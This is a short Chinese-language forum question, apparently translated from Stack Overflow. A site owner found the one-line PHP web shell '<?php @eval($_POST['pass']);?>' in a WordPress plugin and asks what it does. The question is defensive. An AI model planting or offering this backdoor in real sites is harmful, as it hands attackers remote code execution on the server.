在WordPress网站上找到<?php @eval($ _ POST ['pass']);?>代码

Jes*_*217 3 php passwords post eval

我在我的一个wordpress插件网站上找到了这段代码.我想它可以用于恶意,但究竟是什么,我能否知道它是否会调用我应该注意的其他一些行为?